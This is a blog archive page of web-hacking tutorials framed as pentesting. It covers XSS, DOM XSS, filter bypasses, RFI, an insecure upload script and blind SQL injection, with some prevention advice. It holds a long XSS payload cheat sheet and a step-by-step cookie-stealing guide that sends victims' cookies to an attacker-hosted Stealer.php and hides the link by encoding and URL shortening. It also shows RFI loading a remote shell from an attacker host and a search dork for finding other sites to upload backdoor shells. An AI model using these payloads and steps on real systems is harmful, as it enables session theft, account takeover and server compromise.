Showing posts with label Web Application Vulnerability. Show all posts
Showing posts with label Web Application Vulnerability. Show all posts

Wednesday, December 11, 2013

New XSS Cheat Sheet - Bypassing Modern Web Application Firewall XSS Filters



While we doing web application penetration testing for our clients, we may some time have to face the Web application Firewall that blocks every malicious request/payload.

There are some Cheat sheets available on internet that helped to bypass WAF in the past. However, those cheats won't work with the modern WAFs and latest browsers. 

So, here is need for creating new Cheat sheet.

One of the top security researcher Rafay Baloch has done an excellent job by organizing his own techniques to bypass modern WAFs and published a white paper on that.

The paper titled "Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters" covers only the techniques needed for bypassing XSS filters.

Rafay promised to write other vulnerabilities' bypassing techniques in his next paper.

You can download the WhitePaper from here.
Continue   Reading>>

Wednesday, August 1, 2012

Wednesday, May 2, 2012

DOM Based Cross Site Scripting(XSS) vulnerability Tutorial


So far i have explained about the Traditional Cross site scripting that occurs because of insecure server-side code. In this post , i am going to explain the DOM Based Cross Site Scripting vulnerability. if you don't know what is cross site scripting , then i recommend you to read the basics from here.

Before explaining about the DOM based xss, let me explain what DOM means to.

What is DOM?
DOM is expanded as Document object model that allows client-side-scripts(Eg: Javascript) to dynamically access and modify the content, structure, and style of a webpage.

Like server-side scripts, client-side scripts can also accept and manipulate user input with the help of DOM.

Here is a very simple HTML code that accepts and writes user input using JavaScript with the help of DOM.

<html> 
<head>
</head>
<body>
     <script>
var pos=document.URL.indexOf("BTSinput=")+9;  //finds the position of value 
var userInput=document.URL.substring(pos,document.URL.length); //copy the value into userInput variable
document.write(unescape(userInput)); //writes content to the webpage
  </script>
</body>
</html>

If you know HTML and Javscript, understanding the above code is a piece of cake.

In the above example, the javascript code gets value from the url parameter "BTSinput" and writes the value in our webpage.

For example, if the url is
               www.BreakThesecurity.com/PenTesting?BTSinput=default
The webpage will display "default" as output.


Did you notice ?! The part of the webpage is not written by Server-side script.  The client side script modifies the content dynamically based on the input.   Everything done with the help of DOM object 'document'.

DOM Based XSS vulnerability:
When a developer writes the content using DOM object without sanitizing the user input , it allow an attacker to run his own code. 

In above example, we failed to sanitize the input and simply displayed the whatever value we get from the url. 

An attacker with malicious intention can inject a xss vector instead .  For example:

www.BreakThesecurity.com/PenTesting?BTSinput=<script>alert("BreakTheSec")</script>




As i said earlier, the document.write function simply writes the value of BTSinput parameter in the webpage.  So it will write the '<script>alert("BreakTheSec")</script>' in the webpage without sanitizing.  This results in running the script code and displays the alert box.


Patching the DOM Based Cross Site Scripting Vulnerability
Audit all JavaScript code in use by your application to make sure that untrusted data is being escaped before being written into the document, evaluated, or sent as part of an AJAX request. There are dozens of JavaScript functions and properties which must be protected, including some which are rather non-obvious:

The document.write() function
The document.writeln() function
The eval() function, which executes JavaScript code from a string
The execScript() function, which works similarly to eval()
The setInterval(), setTimeout(), and navigate() functions
The .innerHTML property of a DOM element
Certain CSS properties which allow URLs such as .style, .backgroundImage, .listStyleImage, etc.
The event handler properties like .onClick, which take JavaScript code as their values

Any data which is derived from data under the client's control (e.g. request parameters, headers, query parameters, cookie names and values, the URL of the request itself, etc.) should be escaped before being used. Examples of user-controlled data include document.location (and most of its properties, e.g. document.location.search), document.referrer, cookie names and values, and request header names and values.

You can use the JavaScript built-in functions encode() or encodeURI() to handle your escaping. If you write your own escaping functions, be extremely careful. Rather than using a "black list" approach (where you filter dangerous characters and pass everything else through untouched), it is better to use a "white list" approach. A good white list approach is to escape everything by default and allow only alphanumeric characters through.

Reference:
http://www.rapid7.com/vulndb/lookup/http-client-side-xss

Continue   Reading>>

Tuesday, February 7, 2012

Complete Cross site Scripting(XSS) cheat sheets : Part 1


I am just providing this XSS Cheat sheet after collecting the exploit-codes from hackers' techniques and different sites especially http://ha.ckers.org/xss.html .  This is complete list of XSS cheat codes which will help you to test xss vulnerabilities ,useful for bypassing the filters.  If you have any different cheat codes , please send your code.

Basic XSS codes:
----------------------------------
<script>alert("XSS")</script>

<script>alert("XSS");</script>

<script>alert('XSS')</script>

"><script>alert("XSS")</script>

<script>alert(/XSS")</script>

<script>alert(/XSS/)</script>

When inside Script tag:
---------------------------------
</script><script>alert(1)</script>
‘; alert(1);
')alert(1);//


Bypassing with toggle case:
--------------------------------------
 <ScRiPt>alert(1)</sCriPt>
  <IMG SRC=jAVasCrIPt:alert('XSS')>

XSS in Image and HTML tags:
---------------------------------------------
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
 <IMG SRC=javascript:alert('XSS')>      

<img src=xss onerror=alert(1)>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert('XSS');">

<IMG SRC="jav&#x09;ascript:alert('XSS');">

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<BODY BACKGROUND="javascript:alert('XSS')">

<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')"

<iframe src=http://ha.ckers.org/scriptlet.html <

Bypass the script tag filtering:
--------------------------------------------------

<<SCRIPT>alert("XSS");//<</SCRIPT>

%253cscript%253ealert(1)%253c/script%253e

"><s"%2b"cript>alert(document.cookie)</script>

foo<script>alert(1)</script>

<scr<script>ipt>alert(1)</scr</script>ipt>

Using String.fromCharCode function:
-----------------------------------------------------
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>


You can combine the above mentioned codes and make your own cheat code.

Note:
We are extending the cheat sheet.  Soon we will publish the part 2.


Continue   Reading>>

Saturday, January 21, 2012

Complete Cross Site Scripting(XSS) Guide : Web Application Pen Testing


Hello BTS readers, Here is complete set of posts that explains everything about the Cross site scripting.  Still more articles are on the way, Stay tuned to BreakTheSec..!


Link To Tutorials:
PenTesting Lab to practice XSS attacks:
Continue   Reading>>

Tuesday, January 3, 2012

How to do Cookie Stealing with Cross site Scripting Vulnerability ? : XSS Tutorials



Hope, you are now familiar with XSS vulnerability (if you don't know what it is, read the beginners xss tutorial). It is my Fourth article about the XSS Vulnerability Testing(PenTesting)..! Today i am going to explain how an attacker exploit XSS vulnerability and steal cookie from users.

Warning!!!
BTS does not take responsibility, if anyone, tries these hacks against any organization or whatever that makes him to trespass the security measures and brings him under the legal prosecution. This tutorial is intended for the improvement of security and for PenTesting,  investigations by legal security agencies.

Requirements:
  • A cookie Stealer code : Get it from here
  • Free Web hosting service
  • Basic Knowledge about XSS
  • Basic Knowledge about Computer Cookies
Cookie stealing is the process of exploiting the XSS vulnerability (Non-persistent/persistent) and steal the cookie from the victim who visit the infected link. These cookie will be used to compromise their accounts.

    Step 1: Creating Cookie Stealer PHP file
    Get the Cookie stealer from the link i mentioned.  In that post, i have explained three versions of cookie stealer.  We are going to use the third version.
    • Copy the code.
    • Open Notepad and paste the code
    • Save the file with .php extension
      Eg: Stealer.php
    Now create New file and save it as log.txt (leave it as blank). Don't change the name , this is the file name what we give in php file.

    Now you will have two files;
    1. Stealer.php
    2. log.txt

    What these two files do exactly?
    The above Stealer.php file get ip address,cookie and stores the data in log.txt file.
    The log.txt has cookies , ip address details.

    Step 2: 
    Register in a free web-hosting service and login into your cpanel.
    Now open the File Manager in cpanel.
    Upload the Stealer.php and log.txt to root folder or public_html folder.

    Now the stealer will be at hxxp://www.YourSite.com/Stealer.php .

    Step 3: Exploiting the XSS Vulnerability
    So Far , we have sharpened our saw.  Now we are going to use it.
    Once you set up everything and find a Vulnerable site,then inject the following code in the Vulnerable sites.

    <script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
    For example:
    hxxp://www.VulnerableSite.com/index.php?search=<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

    Cookie Stealing with Non-Persistent vs Persistent XSS:
    Persistent: if you inject this code in Persistent XSS vulnerable site, it will be there forever until admin find it.  It will be shown to all users.  So attackers don't need to send any link to others.  Whoever visit the page, they will be vicim.

    Non-Persistent:
    In case of Non-persistent attack, attacker will send the link to victims. Whenever they follow the link, it will steal the cookie.  Most of sites are vulnerable to Non-persistent XSS .

    In Non-persistence, Attackers will send the injected link victims.
    For example:
    hxxp://www.VulnerableSite.com/index.php?search=<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

    The above link is clearly shows the scripts.  Hackers can Hex-encode this script  so that victim can't see the script.
    For Example:
    hxxp://www.VulnerableSite.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e
    Still , the link look long. The attacker use one more trick to hide the long url i.e url shortening sites. There are lot of sites that shorten the long url into tiny url.

    For example:
    hxxp://www.tinyexample.com/twrwd63

    Once the victim follow the link, his cookie will be stored in log.txt file.

    How to be Secure from this attack?
    • Use No-Script Addon. This is best protection to stay away from XSS 
    • Never Click the Shorten url
    • Sometime you may want to follow the shorten link.  If so, then clear all cookies in your browser and visit through Proxy or VPN(it will hide your ip)
    • (Later We will cover security tips for site admin , so stay tuned)
    Continue   Reading>>

    Sunday, December 25, 2011

    Bypassing the XSS Filters : Advanced XSS Tutorials for Web application Pen Testing



    copyrights reserved © BreakTheSecurity
    Hi friends, last time, i explained what is XSS and how an attacker can inject malicious script in your site. As i promised earlier, i am writing this advanced XSS tutorial for you(still more articles will come).

    Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.
    For eg: if you put the <scirpt>alert("hi")</script> , the Filter will escape the "(quote) character , so the script will become
    <script>alert(>xss detected<)</script>
    Now this script won't work. Likewise Filters use different type of filtering method to give protection against the XSS.  In this case, we can use some tricks to bypass the filter.  Here i am going to cover that only.

    1.Bypassing magic_quotes_gpc

    The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it escapes the every ' (single-quote), " (double quote) and \  with a backslash automatically.
    For Eg:
    <scirpt>alert("hi");</script> will be filtered as <script>alert(\hi\)</script>.so the script won't work now.

    This is well known filtering method, but we can easily bypass this filter by using ASCII characters instead.
    For Eg:  alert("hi"); can be converted to
    String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)
    so the script will become <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>.  In this case there is no "(quotes) or '(single quotes) or / so the filter can't filter this thing.  Yes, it will successfully run the script.
    String.fromCharCode() is a javascript function that converts ASCII value to Characters.

    How to convert to ASCII values?

    There are some online sites that converts to ASCII character. But i suggest you to use Hackbar Mozilla addon .

    After installing hackbar add on ,press F9.  It will open the small box above the url bar. click the XSS->String.fromCharCode()

    Now it will popup small window. enter the code for instance alert("Hi").  click ok button.  Now we got the output.

    copy the code into the <script></script> inside and insert in the vulnerable sites

    For eg: 
    hxxp://vulnerable-site/search?q=<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>

    2.HEX Encoding

    we can encode our whole script into HEX code so that it can't be filtered.
    For example:  <script>alert("Hi");</script> can be convert to HEX as:
    %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e
    Now put the code in the vulnerable site request.
    For ex:
    hxxp://vulnerable-site/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e
     Converting to HEX:
    This site will convert to hex code: http://centricle.com/tools/ascii-hex/

    3.Bypassing using Obfuscation

    Some website admin put the script,alert in restricted word list.  so whenever you input this keywords, the filter will remove it and will give error message like "you are not allowed to search this". This can bypassed by changing the case of the keywords(namely Obfuscation). 
    For eg:
    <ScRipt>ALeRt("hi");</sCRipT>

    This bypass technique rarely works but giving trial is worth.

    4. Closing Tag

    Sometimes putting "> at the beginning of the code will work.

    "><script>alert("Hi");</script>

    This will end the previous opened tag and open our script tag.
    Example:
    hxxp://vulnerable-site/search?q="><script>alert("Hi");</script>

    Conclusion:
    From above article, it is clear that XSS filters alone not going to protect a site from the XSS attacks. If you really want to make your site more secure, then ask PenTesters to test your application or test yourself.

    Also there are lot of different filter bypassing technique, i just covered some useful techniques for you.


    Continue   Reading>>

    Sunday, December 4, 2011

    "Simple Upload 53" Vulnerability allows Hacker to upload Shell


    Web Application vulnerability in "Simple Upload 53" PHP file allows an attacker to upload Backdoor shell code in your website.

    "inurl:simple-upload-53.php"
    using this google search , you can find the vulnerable Sites.

    If you want to find the vulnerability in your web application, use this google dark:
    "inurl:simple-upload-53.php site:Your-Site.com"

    After you search in google; if you find any page ends with "simple-upload-53.php" , follow the link.

    Example:
    hxxp://www.target_site.com/simple-upload-53.php

    Now you can see the upload option in the site.  Here is the biggest problem, it allows anyone to upload files.

    An attacker can upload Backdoor shell as ".php.jpg" or ".php.gif" etc.

    The uploaded shell will be in this place:
     hxxp://www.target_site.com/files/Your_file_With_Extension

    After uploading the shell , an attacker can deface your site. So better check  whether your site also has this vulnerability or not.

    "Prevention is better than Cure".
    Continue   Reading>>

    Sunday, November 13, 2011

    Remote File Inclusion Vulnerability Tutorial ~ Web application Vulnerability


    Remote file inclusion(RFI) is a critical vulnerability caused by insufficient validation of user input passed to the web application.  The RFI vulnerability allows attackers to load remotely hosted malicious file such as a backdoor shell.

    Vulnerable Code
    Let us say a webpage called "RFI.php" that loads a code from external file using 'filename' parameter.
     

    In the above screenshot, the RFI.php file loads the code from 'news.php'.

    HTTP request:
    http://site/RFI.php?filename=news.php

    Let us check the PHP code of RFI.php :
    code(RFI.php):

       <?php
            include($_GET['filename']);
       ?>
    The include() function gets the all code/text from the specified file(news.php) and copies it into the current file(rfi.php).

    Content of news.php file

    As you can see the developer didn't validate the 'filename' and passed it directly to the 'include' function.  It results in Remote File inclusion vulnerability. 


    Testing the Vulnerability:
    Let us test whether the application is vulnerable to Remote File Inclusion by passing "http://www.google.com" as filename parameter to the webpage.

    HTTP request:
    http://site/RFI.php?filename=http://www.google.com


    Hurrah, it successfully loaded the content from the Google.com :) It means the page is vulnerable to RFI :D

    Exploiting the vulnerability:
    A hacker with malicious intent can load a backdoor shell.  The backdoor shell allows the hacker to compromise the entire web server.

    For Example:
    http://site/RFI.php?filename=http://attacker/shell.txt



    Using this shell, now an attacker is able to do anything in the server.  For instance, he can delete index.php file.

    Example 2:

    In most of the web applications, the filename is passed as parameter without the extension(.php).

    For example:
    http://site/RFI.php?filename=news


    ------------------------
    Code of RFI.php:
    ------------------------
    <?php
            include($_GET['filename'].".php");
     ?>
    As you can see in the above code, the ".php" extension is appended to the filename in the PHP code.   

    So, if we pass "shell.txt", then the filename will become "shell.txt.php", results in an error.



    To avoid this error, you can use Null Byte.  Null byte(%00) indicates the end of the string. The strings following the null byte will be ignored.

    We can enter the null byte at the end of our filename to ignore the ".php" string.

    http://site/RFI.php?filename=http://attacker/shell.txt%00

    ---------
    If You would like to test how a remote file inclusion attack works, you can just download our Vulnerable app "BTS Pentesting Lab" from here:
    http://code.google.com/p/bts-pentesting-lab/

    In case, you would like to see the real world examples, Here is list of Vulnerability reports:
    Exploit-Db

     How to Prevent Remote File Inclusion vulnerability
    • Disable the 'register_globals' and 'allow_url_fopen' and 'allow_url_include' in PHP.ini file.  In latest version of PHP, they have been turned off :) so no need to worry now.
    •  Validate Users' Input.
      Continue   Reading>>

      Monday, November 7, 2011

      What is Blind Sql Injection ? Web Application Vulnerability Tutorial


      Blind SQL injection technique is used when the web application is vulnerable but the output doesn’t display to the attacker. When hacker tries SQL injection, they will redirect to some other pages instead of error message. Blind SQL Injection is harder to implement when compared with the above Traditional SQL Injection Technique, it will take more time . There are some tools for Blind SQL Injection.


      Blind SQL injection can be done by querying the database with sequence of true/false questions.

      How to detect the Blind SQL Injection Vulnerability?
      Web application gets the clients input and supplied in where clause to retrieve data from Database. For instance, let us say the web application gets id and supplied to the sql query as follows
      Statement=”select * from userinfo where id=` “+id+” ` “;
      Hope you know about where clause and compound conditions (OR, AND). OR and AND are used to combine two conditions. The attacker can find the vulnerability by entering the compound conditions as input.
      For instance, the attacker can enter id value as
      1 AND 1=1
      The above query will become
      Select * from userinfo WHERE id=1 AND 1=1
      If the page remains on the same page, then the application may be vulnerable. This type of vulnerability occurs when the developer fails to validate the data type of ID. Here we give true condition (1=1). So if use false condition (1=2), it will raise an error message. We can conclude that if the condition is true, it remains in page. If false, showing error message.

      Some Functions to be known
      The following function will be useful for Blind SQL Injection.
      substring(str, pos, length) is the function that returns the part of the String. sub string of the string is depending on the argument given to the function.

      For instance substring(“hello”,2,1) will returns ‘e’. 
      Here string is “hello”, character position is 2 (that is ‘e’), and length is 1.

      • lower(str) is the function that converts the character to lower case
      • ascii(c) is the function that converts the character to ASCII value.
      • length(str) returns the length of the string .
      • user() returns the current user(admin)
      • database() returns the database name.
      • version() retruns the version of database

      Blind Sql Injection Tools:
      When come to Blind Sql Injection vulnerability, it will time consuming process. So Automated tools are better than manual process. Here are list of Automated Tools

      Meet you at our Next Article with more details about the Blind Sql Injection Attack.

      We are providing this information as a part of our Ethical Hacking Tutorial. This article is created for understanding the Web application Vulnerability. We are not responsible for you illegal activity.


      Stop stealing Our contents . I worked harder to create an article, you simply copying from us?! I asked website owners put our site as source at the end of article. Give respect to our hard work. Otherwise we don't have any other choice than report to Google under DMCA Copyrights.
      Continue   Reading>>

      Friday, October 14, 2011

      Cross Site Scripting(XSS) Complete Tutorial for Beginners~ Web Application Vulnerability



      What is XSS?
      Cross Site Scripting also known as XSS , is one of the most common web appliction vulnerability that allows an attacker to run his own client side scripts(especially Javascript) into web pages viewed by other users.

      In a typical XSS attack, a hacker inject his malicious javascript code in the legitimate website . When a user visit the specially-crafted link , it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.
      Example :Let us imagine, a hacker has discovered XSS vulnerability in Gmail and inject malicious script. When a user visit the site, it will execute the malicious script. The malicious code can be used to redirect users to fake gmail page or capture cookies. Using this stolen cookies, he can login into your account and change password.
      It will be easy to understand XSS , if you have the following prerequisite:
      • Strong Knowledge in HTML,javascript(Reference).
      • Basic Knowledge in HTTP client-Server Architecure(Reference)
      • [optional]Basic Knowledge about server side programming(php,asp,jsp)

      XSS Attack:
      Step 1: Finding Vulnerable Website
      Hackers use google dork for finding the vulnerable sites for instance  "?search=" or ".php?q=" .  1337 target specific sites instead of using google search.  If you are going to test your own site, you have to check every page in your site for the vulnerability.

      Step 2: Testing the Vulnerability:
      First of all, we have to find a input field so that we can inject our own script, for example: search box, username,password or any other input fields.


      Test 1 :
      Once we found the input field, let us try to put some string inside the field, for instance let me input "BTS". It will display the  result .

      Now right click on the page and select view source.   search for the string "BTS" which we entered in the input field.  Note the location where the input is placed.

      Test 2:
      Now we are going to check whether the server sanitize our input or not.  In order to do this , let us input the <script> tag inside the input field.
      View the source of the page . Find the location where input displayed place in previous test.

      Thank god, our code is not being sanitized by the server and the code is just same as what we entered in the field. If the server sanitize our input, the code may look like this &lt;script&gt;. This indicates that the website vulnerable to XSS attack and we can execute our own scripts .

      Step 3: Exploiting the vulnerability
      Now we know the site is somewhat vulnerable to XSS attack.  But let us make sure whether the site is completely vulnerable to this attack by injecting a full javascript code.  For instance, let us input <script>alert('BTS')</script> .

      Now it will display pop-up box with 'BTS' string. Finally, we successfully exploit the XSS .  By extending the code with malicious script, a hacker can do steal cookies or deface the site and more.

      Types of XSS Based on persisting capability:
      Based one Persistence capability, we can categorize the XSS attack into two types namely Persistent and Non-Persistent.

      Persistent XSS:

      The Persistent or Stored XSS attack occurs when the malicious code submitted by attacker is saved by the server in the database, and then permanently it will be run in the normal page.

      For Example:   
      Many websites host a support forum where registered users can ask their doubts by posting message  , which are stored in the database.  Let us imagine , An attacker post a message containing malicious javascript code instead.  If the server fail to sanitize the input provided, it results in execution of injected script.  The code will be executed whenever a user try to read the post. If suppose the injected code is cookie stealing code, then it will steal cookie of users who read the post. Using the cookie, attacker can take control of your account.


      Non-Persistent XSS:

      Non-Persistent XSS, also referred as Reflected XSS , is the most common type of XSS found now a days. In this type of attack, the injected code will be send to the server via HTTPrequest.  The server embedd the input with the html file and return the file(HTTPResponse) to browser.  When the browser executes the HTML file, it also execute the embedded script.  This kind of XSS vulnerability frequently occur in search fields.

      Example:
      Let us consider a project hosting website.  To find our favorite project, we will just input the related-word in the search box .  When searching is finished, it will display a message like this "search results for yourword " .  If the server fail to sanitize the input properly, it will results in execution of injected script.

      In case of reflected XSS attacks, attacker will send the specially-crafted link to victims and trick them into click the link. When user click the link, the browser will send the injected code to server, the server reflects the attack back to the users' browser.  The browser then executes the code .

      In addition to these types, there is also third  type of attack called DOM Based XSS attack, i will explain about this attack in later posts.

      What can an attacker do with this Vulnerability?
      • Stealing the Identity and Confidential Data(credit card details).
      • Bypassing restriction in websites.
      • Session Hijacking(Stealing session)
      • Malware Attack
      • Website Defacement
      • Denial of Service attacks(Dos)

      Disclaimer:
      This article is intended for educational purpose only.
      Continue   Reading>>

      Wednesday, October 12, 2011

      Introduction to Web Application Firewall (WAF) ~ Website Security


      What is WAF?WAF is expanded as Web Application Firewall. WAF is server side application that controls the input and output(filter the HTTP communication).  It controls network traffic on any OSI Layer up to Application Layer.  The main purpose of WAF is to provide better protection over the top Wep Application vulnerability such as XSS(Cross Site Scripting), SQL Injection,RFI.  Daily lot of websites hacked because of these vulnerability.  Read Our Security News Section to know about the Security Risks in Interent.  Standard firewall blocks Non-HTTP attacks(restriction of ports,access..).  This WAF blocks HTTP attack.

      The Most common Web Application Vulnerabilities:

      • SQL Injection(SQLi)
      • Cross-Site Scripting (XSS)
      • Broken Authentication and Session Management
      • Insecure Direct Object References
      • Cross-Site Request Forgery (CSRF)
      • Security Misconfiguration
      • Insecure Cryptographic Storage
      • Failure to Restrict URL Access
      • Insufficient Transport Layer Protection
      • Unvalidated Redirects and Forwards


      The Wep Application Firewall(WAF) must meat the following features:
      • Protection Against Top Vulnerability(XSS,SQLi,..etc)
      • Very Few False Positives (i.e., should NEVER disallow an authorized request)
      • Strength of Default (Out of the Box) Defenses
      • Power and Ease of Learn Mode
      • Types of Vulnerabilities it can prevent.
      • Detects disclosure and unauthorized content in outbound reply messages, such as credit-card and Social Security numbers.
      • Both Positive and Negative Security model support.
      • Simplified and Intuitive User Interface.
      • Cluster mode support.
      • High Performance (milliseconds latency).
      • Complete Alerting, Forensics, Reporting capabilities.
      • Web Services\XML support.
      • Brute Force protection.
      • Ability to Active (block and log), Passive (log only) and bypass the web trafic.
      • Ability to keep individual users constrained to exactly what they have seen in the current session
      • Ability to be configured to prevent ANY specific problem (i.e., Emergency Patches)
      • Form Factor: Software vs. Hardware (Hardware generally preferred)
      Top 10 Open Source Web Application Firefwall(WAF):

      1. ModSecurity (Trustwave SpiderLabs)
      2. AQTRONIX WebKnight
      3. ESAPI WAF
      4. WebCastellum
      5. BinarySec
      6. Guardian@JUMPERZ.NET
      7. OpenWAF
      8. Ironbee
      9. Profense
      10. Smoothwall
      Continue   Reading>>

      Tuesday, August 9, 2011

      How does your Website becomes vulnerable to SQL Injection?


      Developer is the one and only reason for the SQL Injection Vulnerability. While developing the Web Application, he fails to handle some vulnerability(because he doesn't know about it. Don't be one of them. If you are Web Application developer, then you must read these security techniquest in order to overcome the SQL Injection Vulnerability.

      Continue   Reading>>

      Monday, August 1, 2011

      What is SQL Injection? Web Application Vulnerability


      WebApplication(Website) stores the information in database such as user info, admin info, and passwords. When the developer fails to handle escape characters and type, it results in vulnerable database. Hacking or accessing the database using this vulnerability is known as SQL injection.
      Continue   Reading>>

      Tuesday, July 26, 2011

      What is an IFrame Injection? Mass IFrame Attack Tutorial


      Recently 90000 webpages infected by Iframe Injection attack.  Here i am going to explain what  IFrame Injection is.

      What is an IFrame Injection?
      Using IFrame tag, The Attackers injects the malware contain website(links) using Cross site Scripting in popular websites.  So if the usual visitors of that popular sites opens the website, it will redirect to malware contain website.  Malware  will be loaded to your computer, now you are infected
      Continue   Reading>>

      Wednesday, July 20, 2011

      What is Cross Site Scripting/XSS? Web Application Vulnerability


      What is XSS?

      XSS is Known as Cross Site Scripting.  XSS is one of Web Application Vulnerability.  Using this vulnerability , an Attacker can inject their own Malicious Client side Codes(Javascript,...) into website.

      This XSS Infected web page can carry malicious codes to other users.  The innocent users will run the script(by visiting the page) without knowing the problem behind this.

      Using XSS , an attacker can steal the cookies, session(session Hijacking), and other confidential data. 

      Complete Tutorial will be posted soon...

      Continue   Reading>>
      Older Post Home
       

      © Break The Security. Copyright 2008 All Rights Reserved Revolution Two Church theme by Brian Gardner Converted into Blogger Template by Bloganol dot com